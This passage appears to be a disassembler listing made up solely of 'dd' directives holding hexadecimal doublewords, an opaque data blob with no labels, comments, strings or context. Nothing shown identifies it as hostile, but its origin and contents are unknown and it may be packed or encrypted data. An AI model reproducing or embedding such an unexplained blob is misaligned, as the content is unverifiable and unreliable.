248E7E39h, 49000CBDh, 0E03A2CC7h, 0F5F2583Bh dd 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h, 63A5FC87h dd 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h, 1D720201h dd 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h, 94004974h dd 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh, 3A51F60Eh dd 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h, 0CEBAE680h dd 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h, 37E0018Eh dd 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h, 213B121Fh dd 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh, 43FA0729h dd 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch, 0BF0293B3h dd 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h, 0DF4AD378h dd 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh, 0B8C9AB30h dd 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh, 0FCBC7AD2h dd 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h dd 3F2F7A0h, 740068F0h, 783E9822h, 574946h, 259B3FA8h dd 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h, 3904F0F5h dd 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h, 406E3CAAh dd 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh, 167C0094h dd 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h, 2DED78E1h dd 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h, 0C08C5056h dd 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh dd 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h, 7F13BE9h dd 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h, 0F4E7EB88h dd 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h, 22A95Bh dd 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h, 8C084C78h dd 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh, 5D3E0157h dd 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh dd 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh, 80E79FA4h dd 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h, 58B88EC9h dd 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h, 48058F80h dd 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h, 0A044128Eh dd 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h, 28050790h dd 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch, 0ADCBA390h dd 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh dd 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h, 3A1939ECh dd 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh, 96351EC9h dd 973E803Ch, 95AAC277h, 0B87E7170h, 0C3E203AAh, 6F2FD30h dd 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h, 5F1DFF4Ch dd 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch, 22C12EB3h dd 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h, 0F575AF8h dd 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h, 38390008h dd 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch, 2C918C2h dd 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h, 0FE60D353h dd 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h, 70D0FDF2h dd 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh, 0EC18B25h dd 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h, 20B449EAh dd 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh, 2C6440C0h dd 197ECh, 173C07A2h, 41D122C9h, 2452D900h, 0C4926FC8h dd 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh, 0BD3C3Bh dd 0C1C725C2h, 0F9D11C60h dd 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h, 133F0AC2h dd 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h dd 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh, 760EC359h dd 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h dd 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh dd 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h, 0C314034Fh dd 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h, 486E2D2Ah dd 580570FAh, 0F0817C90h, 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh dd 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh, 0D9F641C1h dd 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h, 2E0591B0h dd 16A101ABh, 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah, 84321E36h dd 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch, 98CF39h dd 0C2A8CBA1h, 3A94E124h, 27AE38D3h, 1E200FC5h, 0B3329201h dd 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h, 0E2F8F641h dd 72380F07h, 83E04E15h, 64C35CD8h, 0E26FD307h, 0C69049B2h dd 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah, 0F8A6F490h dd 9A94ABh, 0AAA0D813h, 773A394Eh, 3E1E59F0h, 4C0EC49h dd 40900C3Dh, 423000BCh, 0ADA0997h, 1239E002h, 8E76B857h dd 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h, 5B133C9Dh dd 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h, 84629F96h dd 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h, 0CFA2E80Fh dd 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h, 4A384929h dd 395D9699h, 890083F9h, 0A1278A68h, 0B17BAC61h, 0D26CCB00h dd 6436DE2Eh, 184E00FCh, 78D82A49h, 3BF01EB8h, 8756C23Bh dd 30546C62h, 0C0D375A2h, 0EB53CAAh, 0E27E0E50h, 95DF140h dd 430E2506h, 63AF3487h, 14A4D9h, 3BA03AACh, 3DB43CA5h dd 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh, 1E3F4DFh dd 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h, 0FD000D3Fh dd 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h, 4EC05881h dd 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh, 0E4000982h dd 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh, 0C26B9200h dd 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h, 1000D9BDh dd 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h, 351A8500h dd 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h, 0C8C50C17h dd 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h, 0C5FEA7A9h dd 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh, 0C08CF872h dd 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h, 0A27E3A40h dd 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h, 987A9CD8h dd 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh, 3D613C4Dh dd 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch, 6CAB9Ch dd 9302F624h, 8600C218h, 0C0E48457h, 9085E808h, 4E5D2C33h dd 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h, 0A4392EDDh dd 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h, 2171FE4Dh dd 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh, 36E9A300h dd 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh, 4C35272Dh dd 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h, 0E5A31C00h dd 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh, 80508BB5h dd 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h, 0C23B3A84h dd 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh, 0CA2D603Fh dd 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh, 44F6C838h dd 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h, 0DC9270E8h dd 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h dd 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h, 9EA81D60h dd 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h, 9EC669D7h dd 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh, 0CE0F7E49h dd 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h, 0BC6B4466h dd 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h, 0F0E947B2h dd 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h, 0BE443EC2h dd 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah dd 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h, 2AE4D68Eh dd 3D030013h, 260F097h, 7D003E2Fh, 3F217081h, 4386C29h dd 4C26453Bh, 500ABAEh, 0C811E088h, 39EA015Ch, 2D663A2Fh dd 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h, 0F07E3409h dd 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h, 0F8009E1Ch dd 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h, 5EFCF04Dh dd 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch, 0DC4B7B7Ch dd 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h, 0CC38C003h dd 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h, 0E82972E0h dd 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h, 0CC4C68D6h dd 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h dd 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh, 0D6282CE0h dd 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h, 3A49D93Eh dd 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh, 0C4B88098h dd 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh, 92626088h dd 0AE8276h, 2C7C7E9Eh, 3249017Ah, 4D334200h, 0EC3C80C9h dd 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h, 0DA300964h dd 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h, 169E5E1Dh dd 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h, 69385C12h dd 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh, 0C390516h dd 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h, 0C968660Fh dd 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h, 0E6724009h dd 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h, 2A8E3F4Bh dd 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h, 0AB0C1C0Bh dd 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h, 0E3603E41h dd 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch, 0DE1C1072h dd 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h, 0D812EE0Bh dd 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh, 265081B7h dd 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h, 9682DC06h dd 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh, 0C8FA4D80h dd 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h, 0FCC7F8BCh dd 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h, 96849754h dd 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h, 745B7239h dd 8F704983h, 3EAE3D00h, 0EAF32CC6h, 1EC001B3h, 46A2B92h dd 0E956E4C1h, 4B00F1E2h, 0F24CE238h, 3824763Bh, 3D80099Fh dd 4E32D847h, 2E00C366h, 0DC94D28Ch, 279C122Ch, 4DC19E83h dd 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h, 0B29D0043h dd 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h, 7724F080h dd 499E00D2h, 0E100D6FAh, 6807E9F5h, 3263A66h, 3CE42B24h dd 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh, 0E7F8FA07h dd 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh, 0A17207C0h dd 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h, 89951A00h dd 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h, 608E6163h dd 0B7E2B0A5h, 98879703h dd 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh, 2794DC09h dd 8C07161Eh, 93FE8FC0h, 0FE36323Fh, 7E8A3C70h, 3772007Fh dd 8640A06Bh, 0A5E21CB4h, 1DB89D00h, 15F09ECDh, 2FFA002Dh dd 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h, 5602C11Dh dd 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh, 7449176Ch dd 7C5E04D8h, 0C8B3C05Bh, 401C5070h, 1C014F0h, 0EE300BA3h dd 3A7C32h, 0F916640Ch, 2F34B8FDh, 0C6610500h, 0E177310Dh dd 0E3B0086h, 29ED25E0h, 560028CCh, 2E7353Fh, 741C53Dh dd 0FC4992A0h, 0FD51204Dh, 59008C20h, 611FFA94h, 76593h dd 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah, 0F77A48DEh dd 987C4B00h, 76165C26h, 96308312h, 0ACFA4A00h, 12B0D4h dd 0BC684FB4h, 7678C0CBh, 75C85B3Bh, 50F08B00h, 87F84ACAh dd 3F032772h, 0C200D4ECh, 7E265814h, 48204A1Ch, 0F413F68Bh dd 28EEE292h, 6000FAB7h, 68E564E7h, 3E70DE4Ah, 0B9935EE0h dd 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h dd 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h, 0C32A08E0h dd 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h, 79FBD0C7h dd 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h, 8416A29Ch dd 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h, 88D860C9h dd 2305E71Dh, 2D01BC9Fh, 0C0C83166h, 0C93CCCh, 0F0686F40h dd 4F2EFD64h, 81709E3Dh, 7CECC174h, 84C880F9h, 2FE60078h dd 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h, 0E8E2840h dd 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h, 3C100905h, 94A87C78h dd 0E15C8A00h, 74F96C12h, 84222F00h, 44AE568Ch, 0AAAC01A4h dd 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h, 0B8E884D2h dd 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh, 6FB02CC1h dd 7BB8F80Bh, 1C4107FEh, 0A02F3834h, 20704832h, 0F5C5A00h dd 6CCB689Ah, 2FF0747Bh, 0AB63DC79h, 96F441BFh, 0C04630F8h dd 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h, 0E285B778h dd 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh dd 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h, 4FDE00E4h dd 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h dd 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h, 28068480h dd 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h, 88B00F2Fh dd 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh dd 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h, 8490438h dd 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh, 162C9328h dd 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h, 4B854E4h dd 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh, 40E86090h dd 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah, 44BB18DEh dd 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h, 832E2FE9h dd 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh, 60897D31h dd 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h, 21FA4228h dd 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h, 0DF46EAA0h dd 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch, 7F8B3774h dd 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h, 57E35036h dd 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch, 2002B063h dd 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh, 57E100E0h dd 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh, 0B0CC02Ah dd 0A7A74DBh, 870003ECh, 89195985h, 318DF0h, 831171B5h dd 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h, 141EFC99h dd 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h, 51A0BB05h dd 2F29A03h, 6EBD8880h, 12D0070h, 85FE4C75h, 8B0F0940h dd 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h, 535651A3h dd 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh, 1A781C03h dd 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h, 0C3831E29h dd 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh, 36104837h dd 0F90CC1h, 8DA5F302h, 3C0377E1h, 535EA400h, 809C5088h dd 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h, 64E402A9h dd 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h, 0E8C1C200h dd 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh, 834E548Bh dd 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h, 9D7401FBh dd 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h, 79820FFFh dd 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh, 0B8E20200h dd 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch, 1539071h dd 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h, 29F016h dd 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h, 107AD8h dd 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h, 0A49900DBh dd 62F759A2h, 802501ECh, 0F0F475h, 5653C543h, 6500028Ah dd 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh, 0D28B57E0h dd 83659839h, 31342BC7h, 99E9D842h, 4939012Ah, 37DC3606h dd 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h, 3F7C0F63h dd 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h dd 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch, 0AF32E900h dd 4A2D06E7h, 710E892h, 0D9141C0Ah, 0FEEBF0C1h, 8500BA24h dd 0A4506544h, 735B483Dh, 100400C2h, 61022F11h, 0B81F0875h dd 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh, 0AC005051h dd 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h, 9400DB30h dd 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h, 0E1468961h dd 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh, 43A57729h dd 14959FEFh, 4CC2CE01h, 0F4391833h, 0AB10D4h, 0AC4A4051h dd 779F196Eh, 53D51E00h, 56D28D89h, 0E49B00F2h, 68C598F0h dd 0C73BC84Dh, 50D480DAh, 5C9CB6BEh, 31EEE4h, 13B5A1Fh dd 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh, 1072C6DCh dd 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h, 0CDD53940h dd 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh, 0AB51E0FEh dd 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h, 587CC109h dd 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h, 80009F8Bh dd 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h, 6D009579h dd 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh, 0B103FD41h dd 87A3972Ah, 8ACFE029h, 48240078h, 0B7EA61E9h, 0D5EE7649h dd 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h, 0A0656631h dd 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h dd 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh, 0A575C410h dd 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh, 71959987h dd 3F8F1CA0h, 4698003Dh, 0DB31A266h, 50030A8Eh, 5DA8D0F7h dd 59C6D05Ch, 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h, 8100262Dh dd 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h, 0D79BE600h dd 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h, 7F834AC6h dd 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h, 0C78E62D4h dd 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh, 512E1E0Eh dd 451A4069h, 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h, 0B400A860h dd 768BC7DFh, 7DB91A0h dd 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h, 1504E083h dd 18CECDFh, 35586176h, 0C46F24BFh, 0E63B5599h, 0EC2B0019h dd 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h, 1DAFDB04h dd 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh, 737938h dd 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh dd 7B9D3700h, 0CEB45Ch, 62574738h, 33B5B6E9h, 61B30800h dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h dd 53458EC0h, 4072200h, 0EC5FD244h, 0D3C80020h, 0A96D7C14h dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h, 15850056h dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h, 9207A7B1h dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh dd 0A8C26Dh, 6878AC54h, 0F73128F3h, 0B033C500h, 9B35B6B1h dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h, 500BEF73h dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h, 0E21CB602h dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh dd 6206E52h, 98707B9Eh, 50657AE5h, 6F643E70h, 375FB875h dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh, 2E63C66Dh dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh, 1E2BA2A3h dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h dd 10060h, 4E810000h, 47370000h, 8D2E0BEEh, 7554488Eh dd 4E4063BDh, 77985607h, 0FC43B78Ah, 0EFD7AD6Fh, 0DB832BAh dd 0C8C657FFh, 0CEE05DA0h, 193B83CFh, 0D4FA4CECh, 0A80C9E04h dd 0CBB9D1F9h, 0AA17B937h, 0D5C17821h, 3A06632Dh, 0D87D4CA4h dd 94FFD4Ch, 0C7CBF952h, 47B9E787h, 8392255Eh, 0E78F0F52h dd 45CC5C53h, 0ABEFDC63h, 377CF37Ah, 4868059h, 9377F77Eh dd 0DFE31170h, 2B2F7420h, 98F2D6D9h, 0F15A48F7h, 0CB0D7D08h dd 5346D33Eh, 22E79F5Bh, 0C6EFD9D0h, 0E04756Eh, 7CC47D7Bh dd 538EE82Ah, 0DDF408C3h, 0B9669ADDh, 0A2E97A6Eh, 6843E059h dd 710CC448h, 0C904D252h, 8D39C6C7h, 714F38BFh, 176DE7B3h dd 2C7FC0D6h, 26F3E8E2h, 23256F60h, 67DF7E10h, 0BC3A283h dd 0BF9CB8CAh, 1C8BF32Dh, 9FEC237Dh, 0BF33406Fh, 8A729771h dd 0A481AB4h, 0E5F41236h, 0F64A938Bh, 8BC79667h, 0A072A9A8h dd 0DB310BF1h, 0FF58989h, 0C64AE36Fh, 35F53940h, 28F1A5A6h dd 4D586FB8h, 46DE0CFAh, 417FF5A5h, 778305FDh, 7941D089h dd 2DBB9EC9h, 2AD6786Ah, 2ACA5BE5h, 0BCAA6F2Fh, 0B124048Ah dd 34834FB3h, 0EE3E6E92h, 6FC04264h, 1E265060h, 0E16B26BAh dd 5B0862EEh, 822F865Fh, 7C350756h, 1A21156Ah, 0DD16314h dd 99E75561h, 0D3CD63ECh, 0D7E2A371h, 8C7D3B0Eh, 1BE9FECCh dd 0F2312844h, 0A8C4E76Eh, 78B9A614h, 3EBFD15Fh, 0DCBC4B49h dd 530DDA0Ch, 0B0F622CFh, 1AC55D97h, 44C2A36Ch, 874ECA3h dd 0CC9A5AD3h, 0E2F26518h, 71A91A4Dh, 0C702BBCDh, 1824DD42h dd 0AC52B761h, 0CB57134Ah, 0E93EC3B2h, 5E0A0FE7h, 0A988DE27h dd 9B11F402h, 8FC1FB7Eh, 3061BC9Ch, 0F0F21657h, 5A610A30h dd 89B9518h, 0E463C35Fh, 36FEBA93h, 7A27655Eh, 1A26098Bh dd 43804CCBh, 7F7D2711h, 0DF9B424Ch, 0FA3B5F64h, 0E4BA89BEh dd 0C8ADF26Ch, 52FDCE76h, 11B42756h, 0ED408513h, 0F163CE7Fh dd 521CCBEEh, 0E77140Fh, 3800C7Ch, 59E6A106h, 0DDF6F281h dd 0A8A30BB5h, 0AE4EB1DEh, 0B62F7C5Fh, 0C03CAF06h, 0BC3B574h dd 0E76BC0Fh, 42EA34FBh, 2FF3051Eh, 0A25EF1DBh, 0A549B10Ch dd 0F3190FCAh, 95EF5CBEh, 7CDCDDD6h, 0AB40C637h, 596CB3Bh dd 0D8AB562Ch, 0C960C333h, 144A2FC9h, 0AB946640h, 5869903Ch dd 8E215DB5h, 6474B83Dh, 0D82D50DBh, 2C06391Ah, 5C29BC0Dh dd 1C1A6A70h, 41D8D30Ah, 13F4A480h, 0EB546EE8h, 0FFE6879Dh dd 